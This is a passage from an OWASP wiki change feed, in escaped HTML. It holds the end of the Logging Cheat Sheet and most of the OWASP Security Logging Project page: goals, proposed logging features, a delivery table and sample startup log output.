* If log data is sent over untrusted networks (e.g. for collection, for dispatch elsewhere, for analysis, for reporting), use a secure transmission protocol&lt;br /&gt;
* Consider whether the origin of the event data needs to be verified&lt;br /&gt;
* Perform due diligence checks (regulatory and security) before sending event data to third parties&lt;br /&gt;
&lt;br /&gt;
See NIST SP 800-92 Guide to Computer Security Log Management for more guidance.&lt;br /&gt;
&lt;br /&gt;
== Monitoring of events ==&lt;br /&gt;
&lt;br /&gt;
The logged event data needs to be available to review and there are processes in place for appropriate monitoring, alerting and reporting:&lt;br /&gt;
&lt;br /&gt;
* Incorporate the application logging into any existing log management systems/infrastructure e.g. centralized logging and analysis systems &lt;br /&gt;
* Ensure event information is available to appropriate teams&lt;br /&gt;
* Enable alerting and signal the responsible teams about more serious events immediately&lt;br /&gt;
* Share relevant event information with other detection systems, to related organizations and centralized intelligence gathering/sharing systems&lt;br /&gt;
&lt;br /&gt;
== Disposal of logs ==&lt;br /&gt;
&lt;br /&gt;
Log data, temporary debug logs, and backups/copies/extractions, must not be destroyed before the duration of the required data retention period, and must not be kept beyond this time. Legal, regulatory and contractual obligations may impact on these periods.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Related articles =&lt;br /&gt;
&lt;br /&gt;
OWASP [http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API ESAPI Documentation]&lt;br /&gt;
&lt;br /&gt;
OWASP [https://www.owasp.org/index.php/Category:OWASP_Logging_Project Logging Project]&lt;br /&gt;
&lt;br /&gt;
IETF [http://tools.ietf.org/html/rfc5424 syslog protocol]&lt;br /&gt;
&lt;br /&gt;
Mitre [http://cee.mitre.org/ Common Event Expression (CEE)] (as of 2014 no longer actively developed)&lt;br /&gt;
&lt;br /&gt;
NIST [http://csrc.nist.gov/publications/nistpubs/800-92/SP800-92.pdf SP 800-92 Guide to Computer Security Log Management]&lt;br /&gt;
&lt;br /&gt;
PCISSC [https://www.pcisecuritystandards.org/security_standards/documents.php PCI DSS v2.0 Requirement 10 and PA-DSS v2.0 Requirement 4]&lt;br /&gt;
&lt;br /&gt;
W3C [http://www.w3.org/TR/WD-logfile.html Extended Log File Format]&lt;br /&gt;
&lt;br /&gt;
Other [http://arctecgroup.net/pdf/howtoapplogging.pdf How to Do Application Logging Right, Anton Chuvakin &amp;amp; Gunnar Peterson,  IEEE Security &amp;amp; Privacy Journal]&lt;br /&gt;
&lt;br /&gt;
Other [http://taosecurity.blogspot.co.uk/2009/08/build-visibility-in.html Build Visibility In, Richard Bejtlich, TaoSecurity blog]&lt;br /&gt;
&lt;br /&gt;
Other [http://www.arcsight.com/solutions/solutions-cef/ Common Event Format (CEF), Arcsight]&lt;br /&gt;
&lt;br /&gt;
Other [https://www.ibm.com/developerworks/community/wikis/form/anonymous/api/wiki/9989d3d7-02c1-444e-92be-576b33d2f2be/page/3dc63f46-4a33-4e0b-98bf-4e55b74e556b/attachment/a19b9122-5940-4c89-ba3e-4b4fc25e2328/media/QRadar_LEEF_Format_Guide.pdf Log Event Extended Format ('''LEEF'''), IBM]&lt;br /&gt;
&lt;br /&gt;
Other [http://www.clerkendweller.com/2010/8/17/Application-Security-Logging Application Security Logging, Colin Watson, Web Security Usability and Design Blog]&lt;br /&gt;
&lt;br /&gt;
Other [http://msdn.microsoft.com/en-us/library/windows/desktop/bb986747(v=vs.85).aspx Common Log File System (CLFS), Microsoft]&lt;br /&gt;
&lt;br /&gt;
Other [http://www.symantec.com/connect/articles/building-secure-applications-consistent-logging Building Secure Applications: Consistent Logging, Rohit Sethi &amp;amp; Nish Bhalla, Symantec  Connect]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Contributors =&lt;br /&gt;
&lt;br /&gt;
Most of the information included is based on content in the articles referenced in the text and listed above, but the following people have provided their ideas, knowledge and practical experience:&lt;br /&gt;
&lt;br /&gt;
Colin Watson - colin.watson[at]owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
Eoin Keary - eoin.keary[at]owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
Alexis Fitzgerald - alexis.fitzgerald[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Security_Logging_Project&amp;diff=240836</id>
		<title>OWASP Security Logging Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Security_Logging_Project&amp;diff=240836"/>
				<updated>2018-05-21T01:08:00Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: Fix typo&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==OWASP Security Logging Project==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The OWASP Security Logging project provides developers and ops personnel with APIs for logging security-related events. The aim is to let developers use the same set of logging APIs they are already familiar with from over a decade of experience with Log4J and its successors, while also adding powerful security features.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
Logging is often neglected by developers when thinking of security considerations. However, proper logging practice can provide the crucial forensics needed to investigate after a breach, and perhaps more importantly, a change to detect security issues as they happen. Most developers are already familiar with using logging for debugging and diagnostic purposes, so it should be easy for them to grasp the concept of security logging as well. The OWASP Security Logging project aims to give developers an easy way to get started with logging security events, tracking extra forensic information like the who (username), what (event type), and where (IP address, server name) needed for forensics. It also provides a means for classifying the information in log messages and applying masking if necessary.  &lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
This library is free software: you can redistribute it and/or modify it under the terms of the Apache License, Version 2.0. You can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Start ==&lt;br /&gt;
Overview of benefits and what you need to get started quickly.&lt;br /&gt;
&lt;br /&gt;
[http://www.securitycurmudgeon.com/2016/03/owasp-security-logging-project-explored.html OWASP Security Logging Project Explored]&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
[https://github.com/javabeanz/owasp-security-logging Source Code]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/javabeanz/owasp-security-logging/wiki Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/javabeanz/owasp-security-logging/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
* [[Logging_Cheat_Sheet|Logging Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_CODE.jpg|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [http://www.apache.org/licenses/LICENSE-2.0.html ASLv2]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Project Leaders ==&lt;br /&gt;
[mailto:sytze.vonkoningsveld@owasp.org Sytze van Koningsveld]&lt;br /&gt;
&lt;br /&gt;
[mailto:august.detlefsen@owasp.org August Detlefsen] &lt;br /&gt;
&lt;br /&gt;
[mailto:milton.smith@owasp.org Milton Smith]&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
&lt;br /&gt;
18 Jan 2018, [https://github.com/javabeanz/owasp-security-logging/releases/tag/v1.1.4 Version 1.1.4 released]&lt;br /&gt;
&lt;br /&gt;
1 Jul 2016, [http://www.slideshare.net/MiltonSmith6/how-to-use-owasp-security-logging How to Use OWASP Security Logging, AppSecEU 2016 Lightning Talk]&lt;br /&gt;
&lt;br /&gt;
5 Mar 2015, Version 1.0.0 deployed to Maven Central&lt;br /&gt;
&lt;br /&gt;
23 Dec 2014, Project Created and source code now available!&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;OWASP Security Logging Project&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
The following provides answers to frequently asked questions.&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for researchers, writers, graphic designers, and a project administrator.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Volunteers==&lt;br /&gt;
&lt;br /&gt;
Only project leads for the moment.  Email projects leads if you would like to participate.&lt;br /&gt;
&lt;br /&gt;
=Roadmap &amp;amp; Getting Involved=&lt;br /&gt;
&lt;br /&gt;
Today many logging technologies are available providing powerful application logging capabilities.  But while powerful, these technologies are not designed for specific use-cases like security and auditing.  The generalized approach to logging platforms makes these platforms more useful to the widest possible audience but it also places more responsibility on designers.  In short, we don't consider our desire for additional improvement for security and audit logs is no oversight on the part of logging platform designers.&lt;br /&gt;
&lt;br /&gt;
It's the OWASP Security Logging Project desire to leverage existing technologies and apply them to improve security, audit, in addition to diagnostic logging.  We understand logging is mostly an afterthought on many project schedules, if it's included at all.   We believe a logging solution embracing this project will help the community produce better logs, a better understanding of our information systems, and higher quality software.&lt;br /&gt;
&lt;br /&gt;
==Getting involved==&lt;br /&gt;
Are you passionate about logging?  Are you motivated share your time and knowledge with the community?  Send the project leads an email, listed on project home page, and explain your ideas and how you can help.  Don't be discouraged if we don't immediately respond.  We occasionally get distracted with life but rest assured we will respond.&lt;br /&gt;
&lt;br /&gt;
==What is the OWASP Security Logging Project?==&lt;br /&gt;
OWASP Security Logging Project purpose is to deliver a suitable logging solution for general-purpose security, audit, and diagnostics log messaging.  Beyond code and technology, the project provides architectural and implementation considerations you may find useful in your own projects, or technologies you may not have previously considered.&lt;br /&gt;
&lt;br /&gt;
==Project goals==&lt;br /&gt;
* Develop a set of logging requirements for key domains like security, auditing, and diagnostics&lt;br /&gt;
* Develop interface specifications that support the projects requirements&lt;br /&gt;
* Develop a base implementation supporting project interface specifications&lt;br /&gt;
* Develop documentation artifacts (described later)&lt;br /&gt;
&lt;br /&gt;
==Considerations and restraints==&lt;br /&gt;
* Ease of use&lt;br /&gt;
* Compelling value on initial deployment (without any refactoring).  Increased value for refactoring&lt;br /&gt;
* Compatibility with existing industry standard logging technologies (e.g., log4*, logback, FluentD, etc) &lt;br /&gt;
* Typical scenarios considered, 1) stand-alone applications on mobile or desktop, 2) enterprise applications, and 3) cloud-based applications.&lt;br /&gt;
&lt;br /&gt;
==Anticipated support==&lt;br /&gt;
* Java 1.7 and Java 1.8&lt;br /&gt;
* .NET (tbd)&lt;br /&gt;
''We have considered other platforms for the future but everything depends upon community interest and support.''&lt;br /&gt;
&lt;br /&gt;
==Proposed features==&lt;br /&gt;
Following is a list of numbered features.  &lt;br /&gt;
&lt;br /&gt;
:1. MDC metadata improvements&lt;br /&gt;
:: a. process id (TBD)&lt;br /&gt;
:: b. application id and application instance id&lt;br /&gt;
:: c. server time\date in UTC &lt;br /&gt;
:: d. client time\date in UTC &lt;br /&gt;
:: e. client IP address &lt;br /&gt;
:: f. username or ID &lt;br /&gt;
:: g. global client session ID&lt;br /&gt;
:: h. security policy identifier&lt;br /&gt;
:: i. transaction id&lt;br /&gt;
:2. Log system properties on startup&lt;br /&gt;
:3. Log command line options on startup&lt;br /&gt;
:4. Log application server properties on startup&lt;br /&gt;
:5. Log HTTP request parameters &lt;br /&gt;
:6. Log HTTP session attributes&lt;br /&gt;
:7. Internationalization considerations&lt;br /&gt;
:8. Redirect system streams like system.out and system.err security logging framework&lt;br /&gt;
:9. Asynchronous message logging, store and forward&lt;br /&gt;
:10. Message correlation&lt;br /&gt;
:11. Performance options for transport compression&lt;br /&gt;
:12. Authenticated client logging&lt;br /&gt;
:13. Secure log message transport&lt;br /&gt;
:14. Signed log messages&lt;br /&gt;
:15. Guaranteed log message delivery&lt;br /&gt;
&lt;br /&gt;
==Delivery phases==&lt;br /&gt;
'''Alpha 1''', some features code complete.&amp;lt;br/&amp;gt;&lt;br /&gt;
'''Alpha 2''', more features code complete.&amp;lt;br/&amp;gt;&lt;br /&gt;
'''Beta''', release code complete.  Public encouraged to test and respond with comments.&amp;lt;br/&amp;gt;&lt;br /&gt;
'''Early Availability(EA)''', includes improvements to beta based upon public and team recommendations.&amp;lt;br/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==Use-case applicability &amp;amp; delivery schedule==&lt;br /&gt;
The following table shows a proposed applicability of each feature to the projects areas of concern, diagnostics, security, and audit logging along with a suggested delivery phase.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;color:#555555; background-color:#ffffcc;&amp;quot; cellpadding=&amp;quot;10&amp;quot;&lt;br /&gt;
!&amp;amp;nbsp;&lt;br /&gt;
!Diagnostics&lt;br /&gt;
!Security&lt;br /&gt;
!Audit&lt;br /&gt;
!Delivery&lt;br /&gt;
|-&lt;br /&gt;
|Feature 1a, process id&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|Alpha 1&lt;br /&gt;
|-&lt;br /&gt;
|Feature 1b, application id and application instance id&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|Alpha 1&lt;br /&gt;
|-&lt;br /&gt;
|Feature 1c, server time\date in UTC&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|Alpha 1&lt;br /&gt;
|-&lt;br /&gt;
|Feature 1d, client time\date in UTC&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|Alpha 1&lt;br /&gt;
|-&lt;br /&gt;
|Feature 1e, client IP address&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|Alpha 1&lt;br /&gt;
|-&lt;br /&gt;
|Feature 1f, username or ID&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|Alpha 1&lt;br /&gt;
|-&lt;br /&gt;
|Feature 1g, global client session ID&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|Alpha 1&lt;br /&gt;
|-&lt;br /&gt;
|Feature 1h, security policy identifier&lt;br /&gt;
|&amp;amp;nbsp;&lt;br /&gt;
|'''M'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|Alpha 1&lt;br /&gt;
|-&lt;br /&gt;
|Feature 1i, transaction id&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|Alpha 1&lt;br /&gt;
|-&lt;br /&gt;
|Feature 2, Log system properties on startup&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|Alpha 1&lt;br /&gt;
|-&lt;br /&gt;
|Feature 3, Log command line properties on startup&lt;br /&gt;
|'''X'''&lt;br /&gt;
|&amp;amp;nbsp;&lt;br /&gt;
|&amp;amp;nbsp;&lt;br /&gt;
|Alpha 1&lt;br /&gt;
|-&lt;br /&gt;
|Feature 4, Log application server properties on startup&lt;br /&gt;
|'''X'''&lt;br /&gt;
|&amp;amp;nbsp;&lt;br /&gt;
|&amp;amp;nbsp;&lt;br /&gt;
|Alpha 2&lt;br /&gt;
|-&lt;br /&gt;
|Feature 5, Log HTTP request parameters&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|&amp;amp;nbsp;&lt;br /&gt;
|Alpha 2&lt;br /&gt;
|-&lt;br /&gt;
|Feature 6, Log HTTP session attributes&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''?'''&lt;br /&gt;
|Alpha 2&lt;br /&gt;
|-&lt;br /&gt;
|Feature 7, Internationalization considerations&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|Alpha 1&lt;br /&gt;
|-&lt;br /&gt;
|Feature 8, Redirect system streams like System.out and System.err to logging framework&lt;br /&gt;
|'''X'''&lt;br /&gt;
|&amp;amp;nbsp;&lt;br /&gt;
|&amp;amp;nbsp;&lt;br /&gt;
|Alpha 2&lt;br /&gt;
|-&lt;br /&gt;
|Feature 9, Asynchronous message logging, store and forward&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|Alpha 2&lt;br /&gt;
|-&lt;br /&gt;
|Feature 10, Message correlation&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|Alpha 2&lt;br /&gt;
|-&lt;br /&gt;
|Feature 11, Performance options for transport compression&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|Alpha 2&lt;br /&gt;
|-&lt;br /&gt;
|Feature 12, Authenticated client logging&lt;br /&gt;
|&amp;amp;nbsp;&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|Alpha 2&lt;br /&gt;
|-&lt;br /&gt;
|Feature 13, Secure log message transport&lt;br /&gt;
|&amp;amp;nbsp;&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|Alpha 2&lt;br /&gt;
|-&lt;br /&gt;
|Feature 14, Signed log messages&lt;br /&gt;
|&amp;amp;nbsp;&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|Alpha 1&lt;br /&gt;
|-&lt;br /&gt;
|Feature 15, Guaranteed log message delivery&lt;br /&gt;
|&amp;amp;nbsp;&lt;br /&gt;
|'''X'''&lt;br /&gt;
|'''X'''&lt;br /&gt;
|Alpha 2&lt;br /&gt;
|}&lt;br /&gt;
'''''Legend, X=applicable use-case, M=maybe useful, ?=tbd'''''&lt;br /&gt;
&lt;br /&gt;
==Project delivery artifacts==&lt;br /&gt;
:'''Logging primer''', architectural considerations for security, audit, and diagnostics for community projects.  Provide information how logging project can be leverage to address concerns provided by each use case, general logging best practices, template for using message levels (e.g., INFO, WARN, etc).&lt;br /&gt;
:'''Logging design''', specific technical details to apply project logging to community logging projects.&lt;br /&gt;
:'''Code''', software program code that implements project feature goals.&lt;br /&gt;
&lt;br /&gt;
==Code areas==&lt;br /&gt;
:'''Logging layouts''', at the moment this is Common Event Format(CEF) and Common Log File System(CLFS).&lt;br /&gt;
:'''MDC filter''', include system information handy for most deployments into logbacks Mapped Diagnostics Context(MDC).&lt;br /&gt;
:'''MDC marker''',&lt;br /&gt;
:'''Unit testing''', various software code we use (and you can also use) to test project code.&lt;br /&gt;
&lt;br /&gt;
==Detailed use-case descriptions==&lt;br /&gt;
Following are detailed use-case descriptions for each feature.  The purpose of this section is to help readers to understand more about each feature and it's potential benefits.&lt;br /&gt;
&lt;br /&gt;
==Feature 1, MDC metadata improvements==&lt;br /&gt;
This feature adds certain metadata useful for security purposes to logback’s Mapped Diagnostics Context.  The following metadata will be mapped where available.&lt;br /&gt;
&lt;br /&gt;
===process id (feature 1a)===&lt;br /&gt;
This is the process id of the application as assigned by the operating system at execution.  On *nix and Windows environments this the PID.  Depending upon the language platform process id may not be readily available.  As an alternative, server hostname or IP may be used.&lt;br /&gt;
&lt;br /&gt;
===application id and application instance id (feature 1b)===&lt;br /&gt;
This an identifier set by the application designer to identify a unique application instance.  This identifier is useful to identify applications uniquely where many instances of the same program (e.g., web application) are hosted on 1 or more physical servers.  The application id is useful visual indicator of the type of application component.  The instance id is useful to identify the application instance.  The instance is particularly useful where the same process may host 2 or more application instances.  An instance id may be a generated hash (e.g., VMID) or unique index where size is a concern.  Once the id is used it should persist between process restarts.  A suggested format:  {APP ID}:{APP INSTANCE ID}.  An sample POS:ace22c02aa858f670e3c227fbab141e2d8d6bea6 or POS:14563.&lt;br /&gt;
&lt;br /&gt;
===server time\date in UTC (feature 1c)===&lt;br /&gt;
Time, date, and day, on the server with timezone offset at the time the message was logged.  A suggested format[1], {yyyy-MM-dd'T'HH:mm:ss.SSSZ}.  An example, 2001-07-04T12:08:56.235-0700&lt;br /&gt;
&lt;br /&gt;
===client time\date in UTC (feature 1d)===&lt;br /&gt;
Time, date, and day, on the client with timezone offset at the time the message was logged.  A suggested format[1], {yyyy-MM-dd'T'HH:mm:ss.SSSZ}.  An example, 2001-07-04T12:08:56.235-0700&lt;br /&gt;
&lt;br /&gt;
===client ip address (feature 1e)===&lt;br /&gt;
MDC property for the IP address of the client host where the log message originated.  An example, 192.168.1.30&lt;br /&gt;
&lt;br /&gt;
===user name or ID (feature 1f)===&lt;br /&gt;
This MDC property to property is an application account name associated with a human (if available) this is associated with this log message.  This property may not be available if the log message is not specifically related to an individual's activity.  An example, milton.smith&lt;br /&gt;
&lt;br /&gt;
===global client session id (feature 1g)===&lt;br /&gt;
This MDC property is a session id assigned by an application designer that is shared across multiple application instances.  Usually this is a secure hash to avoid reverse engineering.  An example, ace22c02aa858f670e3c227fbab141e2d8d6bea6&lt;br /&gt;
&lt;br /&gt;
===security policy identifier (feature 1h)===&lt;br /&gt;
MDC property that identifies activities associated with a sites security policy.  The value is site defined and can be useful when producing information for audits.  An example, Violation:SEC.5.2a&lt;br /&gt;
&lt;br /&gt;
===transaction id (feature 1i)===&lt;br /&gt;
MDC property to identify activities associated with a single user action.  For example, execution of a single application user feature may require many activities from the main application program along with components like LDAP servers and databases.  The transaction id is useful to correlate all the related system activities that support a specific user request.  Each subsequent user request receives a new transaction id.  An example, TRX:1005862&lt;br /&gt;
&lt;br /&gt;
==Feature 2, Log system properties on startup==&lt;br /&gt;
The requirement is to log all system properties on application startup.  Often it’s difficult to perform an investigation without understanding the initial state of the system.  An example how properties may appear in logs (without MDC information).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 *******************************************&lt;br /&gt;
 JAVA PROPERTY SETTINGS&lt;br /&gt;
 *******************************************&lt;br /&gt;
Setting, java.runtime.name=Java(TM) SE Runtime Environment&lt;br /&gt;
Setting, sun.boot.library.path=C:\Program Files\Java\jre6\bin&lt;br /&gt;
Setting, java.vm.version=14.0-b16&lt;br /&gt;
Setting, java.vm.vendor=Sun Microsystems Inc.&lt;br /&gt;
Setting, java.vendor.url=http://java.sun.com/&lt;br /&gt;
Setting, path.separator=;&lt;br /&gt;
Setting, java.vm.name=Java HotSpot(TM) Client VM&lt;br /&gt;
Setting, file.encoding.pkg=sun.io&lt;br /&gt;
Setting, sun.java.launcher=SUN_STANDARD&lt;br /&gt;
 Setting, user.country=US&lt;br /&gt;
Setting, sun.os.patch.level=&lt;br /&gt;
Setting, java.vm.specification.name=Java Virtual Machine Specification&lt;br /&gt;
Setting, user.dir=C:\Users\Milton\workspace\MyProject&lt;br /&gt;
Setting, java.runtime.version=1.6.0_14-b08&lt;br /&gt;
Setting, java.awt.graphicsenv=sun.awt.Win32GraphicsEnvironment&lt;br /&gt;
Setting, java.endorsed.dirs=C:\Program Files\Java\jre6\lib\endorsed&lt;br /&gt;
Setting, os.arch=x86&lt;br /&gt;
Setting, java.io.tmpdir=C:\Users\Milton\AppData\Local\Temp\&lt;br /&gt;
Setting, line.separator=&lt;br /&gt;
    &lt;br /&gt;
Setting, java.vm.specification.vendor=Sun Microsystems Inc.&lt;br /&gt;
Setting, user.variant=&lt;br /&gt;
Setting, os.name=Windows 7&lt;br /&gt;
Setting, sun.jnu.encoding=Cp1252&lt;br /&gt;
Setting, java.library.path=C:\Program Files\Java\jre6\bin;.;C:\Windows\Sun\Java\bin;C:\Windows\system32;C:\Windows;C:/Program Files/Java/jre6/bin/client;C:/Program Files/Java/jre6/bin;C:\Program Files\JavaFX\javafx-sdk1.2\bin;C:\Program Files\JavaFX\javafx-sdk1.2\emulator\bin;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;c:\usershellcommands;C:\Program Files\QuickTime\QTSystem\&lt;br /&gt;
 Setting, java.specification.name=Java Platform API Specification&lt;br /&gt;
Setting, java.class.version=50.0&lt;br /&gt;
Setting, sun.management.compiler=HotSpot Client Compiler&lt;br /&gt;
Setting, os.version=6.1&lt;br /&gt;
Setting, user.home=C:\Users\Milton&lt;br /&gt;
Setting, user.timezone=&lt;br /&gt;
Setting, java.awt.printerjob=sun.awt.windows.WPrinterJob&lt;br /&gt;
Setting, file.encoding=Cp1252&lt;br /&gt;
Setting, java.specification.version=1.6&lt;br /&gt;
Setting, java.class.path=C:\Users\Milton\workspace\SDA\bin;C:\Java-Libs\jmx-1_2_1-bin\lib\jmxri.jar;C:\Java-Libs\apache-log4j-1.2.15\log4j-1.2.15.jar&lt;br /&gt;
Setting, user.name=Milton&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Feature 3, Log command line options on startup==&lt;br /&gt;
The requirement is to log all command line arguments on application startup.  All command line arguments must be logged.  In Java, the entire arg array passed into the main(String args[]) method should be logged.  Any whitespace or special characters should be filtered before logged.  For example a small program that echos the input to the command line may produce an output that looks like the following.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 *******************************************&lt;br /&gt;
    COMMAND LINE ARGS&lt;br /&gt;
 *******************************************&lt;br /&gt;
java testapp “Hello World!”&lt;br /&gt;
Hello World! &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Feature 4, Log application server properties on startup==&lt;br /&gt;
The requirement is to log all key\value pairs that influence application behavior upon execution.  In Java, there parameters are defined by HttpServlet.getInitParameterNames()  An example of logged J2EE properties may look like the following.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 *******************************************&lt;br /&gt;
    J2EE PROPERTIES&lt;br /&gt;
 *******************************************&lt;br /&gt;
Setting, thread.pool.size=1000&lt;br /&gt;
Setting, request.ttlms=30000&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Feature 5, Log HTTP request parameters==&lt;br /&gt;
The requirement is to log all key\value pairs associated with all application HTTP requests.  Raw HTTP requests parameters across the cloud may generate significantly increase log volume.  The goal is to define a request log that overwrites itself (e.g., a ring buffer) at a small designer specified interval or a default of 15 mins.  This allows highly granular diagnostic messages over a short duration.&lt;br /&gt;
&lt;br /&gt;
An ancillary requirement is that sensitive key\value pairs will be masked.  A default set of masking rules will be included with the project with an option for designers to assign their own masking rules specific for their applications.&lt;br /&gt;
 &lt;br /&gt;
(TODOMS: need to insert some raw http requests from zap in a suitable log format)&lt;br /&gt;
&lt;br /&gt;
==Feature 6, Log HTTP session attributes==&lt;br /&gt;
&lt;br /&gt;
The requirement is to log all key\value pairs associated with a users HttpSession instance.  These properties should be logged once upon user session initialization.  In Java, key\value pairs from HttpSession.getAttributeName() should be logged when the HttpSession is created.&lt;br /&gt;
&lt;br /&gt;
(TODOMS: need to insert some sample HTTP session attributes)&lt;br /&gt;
&lt;br /&gt;
==Feature 7, Internationalization considerations==&lt;br /&gt;
